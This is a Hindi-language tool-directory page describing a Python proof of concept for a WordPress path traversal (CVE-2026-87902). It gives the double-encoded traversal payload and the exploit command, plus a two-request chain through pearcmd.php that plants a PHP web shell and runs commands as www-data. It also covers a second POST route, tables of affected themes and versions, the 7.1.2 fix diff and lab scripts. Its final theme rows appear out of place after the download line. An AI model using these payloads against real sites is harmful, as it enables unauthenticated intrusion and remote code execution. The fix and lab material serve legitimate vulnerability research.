Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/vulpecuna/cve-2026-87902
भेद्यता स्कैनरभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूललैब और अभ्यास
GitHubvulpecuna/cve-2026-87902

CVE-2026-87902

CVE-2026-87902 के लिए Python PoC, जो get_page_template() के माध्यम से एक unauthenticated WordPress path traversal RCE है, जिसमें version fingerprinting, theme checks, और optional file inclusion शामिल है।

31522घं 57मि पहलेअभी तक समीक्षित नहीं
रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-87902

सलाहGHSA-7hp8-65ch-5whp
उत्पादWordPress <= 7.1.1, 7.1.2 में ठीक किया गया; दोनों संस्करणों का परीक्षण किया गया
सिंकwp-includes/template.php, get_page_template()
कारणpagename से बनाया गया उम्मीदवार validate_file() से नहीं गुजरता
अभिनेताअनाम, कोई खाता नहीं, कोई कुकी नहीं, कोई CSRF टोकन नहीं
विधिएकल GET, दो पैरामीटर
प्रभावमनमाना ऑन-डिस्क .php शामिल और WordPress प्रक्रिया में निष्पादित
एस्केलेशनरिमोट कमांड निष्पादन जहाँ PEAR गैजेट शोषणीय है, देखें PHP और एस्केलेशन
लक्ष्य पर लिखता हैडिफ़ॉल्ट --include के साथ कुछ नहीं
यहाँ पुनरुत्पादित6 रिलीज़, 7 थीम, 4 PHP संस्करण

अनुरोध

root@kitploit:~
GET /?page_id=<any published page>&pagename=<payload> HTTP/1.1

<payload> page- निर्देशिका, ट्रैवर्सल और लक्ष्य है, जिसमें प्रत्येक डॉट और स्लैश दोहरे रूप से एन्कोडेड हैं:

root@kitploit:~
templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-admin%252finstall
फ़ील्डभूमिका
pagenameपेलोड। WP_Query इसे sanitize_title_for_query() से गुज़ारता है, जो शाब्दिक डॉट को डैश में बदल देता है लेकिन प्रतिशत-एन्कोडेड ऑक्टेट को सुरक्षित रखता है। get_page_template() फिर परिणाम को पथ में डिकोड करने के लिए urldecode() कॉल करता है
page_idकोई भी प्रकाशित पृष्ठ, ताकि क्वेरी 404 लौटाने के बजाय एक पोस्ट से मेल खाए। इसके बिना पृष्ठ टेम्पलेट कभी लोड नहीं होता

Core page-{urldecode($pagename)}.php बनाता है और इसे स्टाइलशीट निर्देशिका के सापेक्ष हल करता है। एन्कोडिंग आवश्यक है: sanitize_title_for_query() शाब्दिक .. को - में बदल देता है।

पूर्वापेक्षाएँ

#शर्तक्यों
1सक्रिय थीम एक शीर्ष-स्तरीय page-* निर्देशिका प्रदान करती हैनाम page-{payload}.php है, इसलिए इसका पहला खंड डिस्क पर हल होना चाहिए
2एक प्रकाशित पृष्ठ जो न तो फ्रंट पेज है और न ही पोस्ट पेजis_front_page और is_home को is_page से पहले आज़माया जाता है
3लक्ष्य फ़ाइल .php में समाप्त होती हैcore एक्सटेंशन जोड़ता है

कोई अपलोड की गई सामग्री नहीं, साइट कॉन्फ़िगरेशन, थीम या core में कोई बदलाव नहीं।

सभी 26 प्रभावित थीम निर्देशिका को page-templates कहती हैं। poc.py नाम themes.json से लेता है, जो थीम उसमें नहीं है उसके लिए page-templates मान लेता है, और --root कॉमा-सेपरेटेड सूची से ओवरराइड करता है।

Windows होस्ट पूर्वापेक्षा 1 को गिरा देते हैं। Win32 .. को शाब्दिक रूप से रद्द करता है, इसलिए जो खंड मौजूद नहीं है वह भी उसके बाद वाले .. से रद्द हो जाता है।

पथपरिणाम
C:\...\wordpress\page-nothing\..\README.mdमौजूद है
C:\...\wordpress\page-nothing\README.mdमौजूद नहीं है

Windows 11 पर os.stat के साथ परीक्षण किया गया, जो PHP के file_exists() जैसा ही Win32 पथ प्रबंधन उपयोग करता है। WordPress स्वयं Windows पर नहीं चलाया गया।

उपयोग

जाँच, डिफ़ॉल्ट

थीम और दो संस्करणों की पहचान करता है, फिर पूछता है कि page-* निर्देशिका मौजूद है या नहीं। कुछ भी शामिल या निष्पादित नहीं होता।

root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
 1  GET  /                                            200  WordPress 7.1.1, theme neve
 2  GET  /wp-content/themes/neve/style.css            200  neve 4.2.11
 3  GET  /wp-content/themes/neve/page-templates/      403  refused, which on its own establishes nothing
 4  GET  /wp-content/themes/neve/page-e464e285/       404  the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result    neve ships page-templates, core 7.1.1
next      rerun with --exploit to make the target prove it
page-<root>/ पर उत्तरपठन
200निर्देशिका मौजूद है और सूचीबद्ध करती है
404ऐसी कोई निर्देशिका नहीं
403अनिर्णायक, इसलिए page-<8 random hex>/ के लिए एक नियंत्रण अनुरोध अनुसरण करता है
403 फिर नियंत्रण 404इनकार अस्तित्व के बारे में था, निर्देशिका मौजूद है
403 फिर नियंत्रण अस्वीकृतसर्वर जो भी पूछा जाए उसे अस्वीकार करता है, exit 4

प्रभावित के लिए दोनों आवश्यक हैं: निर्देशिका मौजूद है, और संस्करण 7.1.1 या उससे नीचे है।

शोषण

पहले जाँच चलाता है, फिर फ़ाइल शामिल करता है जब तक कि जाँच ने लक्ष्य को बाहर न कर दिया हो।

root@kitploit:~
python3 poc.py --target https://example.com --exploit
root@kitploit:~
 5  GET  /?rest_route=/wp/v2/pages                    200  1 published page
 6  GET  /?page_id=2&pagename=page-templates/../../   200  1368 bytes, not the theme's page  [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result    wp-admin/install.php ran: WordPress &rsaquo; Installation

एक रेंडर किया गया थीम टेम्पलेट हमेशा wp_head() के माध्यम से /wp-content/themes/ का संदर्भ देता है, थीम के बाहर से शामिल की गई फ़ाइल नहीं। यही निर्णायक नियम है।

विकल्प

विकल्पडिफ़ॉल्टप्रभाव
--target URLआवश्यकपरीक्षण के अधीन परिनियोजन
--exploitबंदजाँच के बाद एक फ़ाइल शामिल करें
--include PATHwp-admin/install.phpशामिल करने के लिए .php। सापेक्ष पथ WordPress रूट से हल होते हैं, निरपेक्ष पथ --depth के साथ ऊपर चढ़ते हैं
--depth N7निरपेक्ष --include के लिए ../ छलांगें
--root NAME[,NAME]themes.json सेआज़माने के लिए page-* निर्देशिकाएँ, page- उपसर्ग के बिना
--page-id IDखोजा गयापृष्ठ खोज छोड़ें
--theme SLUGखोजा गयाथीम लुकअप छोड़ें
--theme-version Vखोजा गयाथीम संस्करण लुकअप छोड़ें
--no-versionबंदकोई अनुरोध न करें जिसका एकमात्र उद्देश्य संस्करण जानना हो
--core-json PATHcore.jsonरिलीज़ फ़िंगरप्रिंट, केवल तब पढ़े जाते हैं जब किसी ने संस्करण प्रकट न किया हो
--traceबंदप्रत्येक आदान-प्रदान प्रिंट करें
--jsonबंदएक JSON ऑब्जेक्ट, और कुछ नहीं
--yesबंदपुष्टि छोड़ें
कोडजाँचशोषण
0प्रभावितथीम के बाहर का .php शामिल किया गया
1प्रभावित नहींशामिल नहीं
2कोई उत्तर नहीं, या उत्तर WordPress नहीं हैवही
3उपयोग, या पुष्टि पर अस्वीकृतवही
4अनिर्णायक, 403 और 7.1.x मामले देखेंउपयोग नहीं किया गया

डिफ़ॉल्ट --include wp-admin/install.php है: प्रत्येक WordPress में, आउटपुट असंदिग्ध, कुछ नहीं बदलता।

TLS प्रमाणपत्र सत्यापित नहीं होते। समाप्त, स्व-हस्ताक्षरित और होस्टनाम-बेमेल वाले स्वीकार किए जाते हैं।

संस्करण फ़िंगरप्रिंटिंग

क्रम में आज़माया जाता है, पहले उत्तर देने वाले पर रुक जाता है।

स्रोतलागत7.1.1 पर
होम पेज पर generator मेटामुफ़्तसटीक संस्करण
/wp-includes/ एसेट पर ?ver=मुफ़्तसटीक संस्करण
/?feed=rss21 अनुरोधसटीक संस्करण
/wp-links-opml.php1 अनुरोधसटीक संस्करण
core.json के विरुद्ध परोसे गए एसेट का sha2561 अनुरोधउन बाइट्स को भेजने वाली रिलीज़ का सेट

core.json 112 प्रकाशित रिलीज़ और 7.1.2 को कवर करता है, प्रत्येक में चार एसेट। उन्हें क्रॉस करने पर 9 रिलीज़ सटीक रूप से नामित होती हैं और औसतन 4 उम्मीदवार बचते हैं। प्रभावित के लिए प्रत्येक उम्मीदवार का 7.1.1 या उससे नीचे होना आवश्यक है।

7.1.1 और 7.1.2 को बाहर से अलग नहीं बताया जा सकता। जो तीन फ़ाइलें भिन्न हैं वे हैं wp-admin/about.php, wp-includes/template.php और wp-includes/version.php, जिनमें से कोई भी परोसी नहीं जाती। एक 7.1.x साइट जो अपना संस्करण छिपाती है, exit 4 पाती है।

थीम

wordpress.org पर 200 सर्वाधिक-स्थापित थीम। 26 एक page-* निर्देशिका प्रदान करती हैं और प्रभावित हैं, कुल मिलाकर 9,027,090 सक्रिय इंस्टॉल में से 765,500। अन्य 174 पूर्वापेक्षा 1 में विफल होती हैं।

थीमसंस्करणइंस्टॉलpage-*स्थितिपुष्टि
neve4.2.11200,000page-templates🔴 प्रभावितlab
sydney2.7180,000page-templates🔴 प्रभावितlab
hestia3.3.670,000page-templates🔴 प्रभावितlab
inspiro2.2.360,000page-templates🔴 प्रभावितsurvey
colibri-wp1.0.16950,000page-templates🔴 प्रभावितsurvey
twentyfourteen4.650,000page-templates🔴 प्रभावितlab
twentytwelve4.950,000page-templates🔴 प्रभावितlab
colormag4.2.540,000page-templates🔴 प्रभावितlab
zakra4.3.330,000page-templates🔴 प्रभावितsurvey
spacious1.9.1220,000page-templates

lab का अर्थ है poc.py के साथ स्टॉक इमेज के विरुद्ध एंड-टू-एंड परीक्षण, survey का अर्थ है निर्देशिका थीम संग्रह से पढ़ी गई और थीम को खड़ा नहीं किया गया।

परीक्षित और अप्रभावित, इनमें से किसी में भी page-* निर्देशिका नहीं: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive।

front-page.php, जो hestia, neve और अन्य द्वारा प्रदान किया जाता है, प्रभावितता नहीं बदलता। यह केवल अनुरोध के लिए फ्रंट पेज की ID को बाहर करता है।

संस्करण

रिलीज़इमेज डिफ़ॉल्ट थीमप्रभावित थीम के साथपुष्टि
7.1.2🟢 प्रभावित नहीं, twentytwentyfive🟢 प्रभावित नहीं, nevelab
7.1.1🟢 प्रभावित नहीं, twentytwentyfive🔴 प्रभावित, nevelab
7.1.0🟢 प्रभावित नहीं, twentytwentyfive🔴 प्रभावित, nevelab
7.0.4🟢 प्रभावित नहीं, twentytwentyfive🔴 प्रभावित, nevelab
6.8.3🟢 प्रभावित नहीं, twentytwentyfive🔴 प्रभावित, nevelab
6.1.0🟢 प्रभावित नहीं, twentytwentythree🔴 प्रभावित, twentytwelvelab
4.9.8🟢 प्रभावित नहीं, twentyseventeen🔴 प्रभावित, twentytwelvelab
अन्य 105 रिलीज़मापा नहीं गयामापा नहीं गयामापा नहीं गया
थीम संस्करणपूर्वापेक्षा नहीं, page-* निर्देशिका है। neve 4.2.11 का उपयोग 6.8.3 और उससे ऊपर किया गया, twentytwelve 4.9 का दो पुराने core पर
7.1.2कोई प्रकाशित इमेज नहीं। lab/run.py --core 7.1.2 के साथ परीक्षण किया गया, जो 7.1.1-apache पर आधिकारिक रिलीज़ संग्रह लागू करता है
आउट ऑफ द बॉक्स4.1 से कोई भी रिलीज़ प्रभावित नहीं है। twentyfifteen से twentytwentyfive तक कोई page-* निर्देशिका नहीं रखती। twentyfourteen और twentytwelve रखती हैं, और 3.8 से 4.0 और 3.5 के डिफ़ॉल्ट थे, जिनके लिए कोई इमेज प्रकाशित नहीं है
पुल नहीं किया जा सकता112 प्रकाशित टैग में से 15: 4.5.3-apache से पुराने 14 v1 मैनिफ़ेस्ट उपयोग करते हैं जिन्हें containerd 2.1 अस्वीकार करता है, और 4.5.3-apache में एक लेयर है जिसे रजिस्ट्री परोस नहीं सकती

प्रति रिलीज़ प्रकाशित PHP वेरिएंट, जो नीचे एस्केलेशन तय करते हैं:

WordPress रिलीज़-apache के रूप में प्रकाशित PHP वेरिएंट
4.1.x से 4.5.xकोई नहीं, केवल सादा टैग, 5.6
4.6.x से 5.0.x5.6 7.0 7.1 7.2 7.3
5.1.x से 5.5.x7.1 7.2 7.3 7.4
5.6.x से 6.0.x7.2 7.3 7.4 8.0 8.1
6.1.x से 6.6.x7.4 8.0 8.1 8.2 8.3
6.7.x8.1 8.2 8.3 8.4
6.8.x और 6.9.x8.1 8.2 8.3 8.4 8.5
7.0.x और 7.1.x8.2 8.3 8.4 8.5

PHP और एस्केलेशन

फ़ाइल समावेशन सभी चार इमेज पर सफल होता है और pearcmd.php प्रत्येक में मौजूद है। गैजेट के माध्यम से कमांड निष्पादन के लिए register_argc_argv चालू होना आवश्यक है, जिसे php8.5 इमेज बंद कर देती है।

इमेजPHPregister_argc_argv
$_SERVER['argv']
pearcmd.php के माध्यम से RCEपुष्टि
7.1.1-php8.2-apache8.2.33चालू, भरा हुआ🔴 uid=33(www-data)lab
7.1.1-apache8.3.33चालू, भरा हुआ🔴 uid=33(www-data)lab
7.1.1-php8.4-apache8.4.25चालू, भरा हुआ🔴 uid=33(www-data)lab
7.1.1-php8.5-apache8.5.10बंद, null🟢 पहुँचा नहीं गयाlab

apache2handler के माध्यम से पढ़ें, CLI से नहीं, जो सेटिंग को जबरन चालू कर देता है। RCE कॉलम के पीछे के दो अनुरोध:

root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
   -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

poc.py एक फ़ाइल शामिल करता है, यह गैजेट को नहीं चलाता। इसे --include /usr/local/lib/php/pearcmd.php --depth 7 से पहुँचें। 8.5 इमेज पर pearcmd.php के अलावा कोई गैजेट नहीं खोजा गया।

फ़िक्स

wordpress-7.1.2.zip से पढ़ा गया। दो बदलाव।

root@kitploit:~
  // wp-includes/template.php, get_page_template()
  if ( $pagename ) {
      $pagename_decoded = urldecode( $pagename );
-     if ( $pagename_decoded !== $pagename ) {
+     if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
          $templates[] = "page-{$pagename_decoded}.php";
      }
      $templates[] = "page-{$pagename}.php";
  }
root@kitploit:~
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+     global $wp_stylesheet_path, $wp_template_path;
+
+     // A file path that exists and does not contain `..` is allowed.
+     if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+         return true;
+     }
+
+     $real_path = realpath( $path );
+     if ( false === $real_path ) {
+         return false;
+     }
+     $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+     $directories = array(
+         $wp_stylesheet_path,
+         $wp_template_path,
+         ABSPATH . WPINC . '/theme-compat',
+     );
+     // ... plus the parent directory of a theme that lives in a subdirectory
+
+     foreach ( $directories as $directory ) {
+         $real_directory = realpath( $directory );
+         if ( false === $real_directory ) {
+             continue;
+         }
+         if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+             return true;
+         }
+     }
+     return false;
+ }

पहला कमज़ोर शाखा को ठीक करता है, दूसरा प्रत्येक हल किए गए टेम्पलेट पथ की जाँच करता है चाहे वह किसी से भी उत्पन्न हुआ हो। परीक्षित: 7.1.2 पर neve सक्रिय और page-templates मौजूद होने पर, वही अनुरोध इंस्टॉलर के बजाय थीम का अपना पृष्ठ रेंडर करता है, 55,084 बाइट्स।

7.1.1 और उससे पहले एक दूसरा मार्ग मौजूद है:

root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
यह कैसे भिन्न हैWP_Query को उसकी post_name शाखा में मोड़ता है, जो pagename को कभी नहीं बदलती, इसलिए शाब्दिक .. काम करता है
इसे क्या चाहिएsingle.php के बिना एक थीम, क्योंकि is_single को is_page से पहले आज़माया जाता है
परीक्षित7.1.1 पर bloghash के साथ
यह यहाँ क्यों हैयह केवल सैनिटाइज़र को कठोर बनाने वाले फ़िक्स से बच जाता है। ऊपर दी गई कंटेनमेंट जाँच इसे भी बंद कर देती है

लैब

root@kitploit:~
python3 lab/run.py                       # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions    # rewrite lab/versions.txt from the registry
python3 lab/themes.py                    # rebuild themes.json
python3 lab/core.py --also 7.1.2         # rebuild core.json
root@kitploit:~
 1/9  7.1.1-apache  affected     0  included      twentytwelve      wp-admin/install.php ran
 2/9  7.1.1-apache  affected     0  included      hestia            wp-admin/install.php ran
 3/9  7.1.1-apache  affected     0  included      neve              wp-admin/install.php ran
 4/9  7.1.1-apache  affected     0  included      colormag          wp-admin/install.php ran
 5/9  7.1.1-apache  affected     0  included      sydney            wp-admin/install.php ran
 6/9  7.1.1-apache  unaffected   1  not included  twentytwentyfive  no page-* directory
 7/9  7.1.1-apache  affected     0  included      bloghash          wp-admin/install.php ran
 8/9  7.1.1-apache  unaffected   1  not included  kadence           no page-* directory
 9/9  7.1.1-apache  unaffected   1  not included  astra             no page-* directory
प्रति पंक्ति
इमेजआधिकारिक wordpress:<tag>, असंशोधित
आइसोलेशनअपना कंटेनर, अपना पोर्ट, साझा MariaDB में अपना डेटाबेस
इंस्टॉलHTTP के माध्यम से wp-admin/install.php से, इसलिए किसी संस्करण को मेल खाते wp-cli की आवश्यकता नहीं
स्थितिजैसा इंस्टॉलर छोड़ता है, एक प्रकाशित पृष्ठ, कुछ अपलोड नहीं
संचालितpoc.py --exploit से, इसलिए एक पंक्ति समावेशन मापती है न कि दिखावट
विकल्पडिफ़ॉल्टप्रभाव
--jobs N2समानांतर में पंक्तियाँ
--theme SLUG[@VERSION]कोई नहींप्रत्येक पंक्ति पर इंस्टॉल और सक्रिय करें
--core VERSIONकोई नहींउस आधिकारिक रिलीज़ को इमेज के core पर लागू करें, जिससे बिना इमेज वाली रिलीज़ चल
टूल डाउनलोड करें
🔴 प्रभावित
survey
hueman3.7.2720,000page-templates🔴 प्रभावितsurvey
bloghash1.0.3010,000page-templates🔴 प्रभावितlab
botiga2.4.910,000page-templates🔴 प्रभावितsurvey
tutorstarter4.0.310,000page-templates🔴 प्रभावितsurvey
mesmerize1.6.18710,000page-templates🔴 प्रभावितsurvey
flash1.4.1210,000page-templates🔴 प्रभावितsurvey
shapely1.3.610,000page-templates🔴 प्रभावितsurvey
silverstorm1.0.368,000page-templates🔴 प्रभावितsurvey
prespa1.7.88,000page-templates🔴 प्रभावितsurvey
hybridmag1.1.46,000page-templates🔴 प्रभावितsurvey
chromenews6.2.105,000page-templates🔴 प्रभावितsurvey
morenews4.3.105,000page-templates🔴 प्रभावितsurvey
newsexo9.12,000page-templates🔴 प्रभावितsurvey
reviewnews2.0.51,000page-templates🔴 प्रभावितsurvey
the8-shop-dark1.0.5400page-templates🔴 प्रभावितsurvey
newsonline0.6100page-templates🔴 प्रभावितsurvey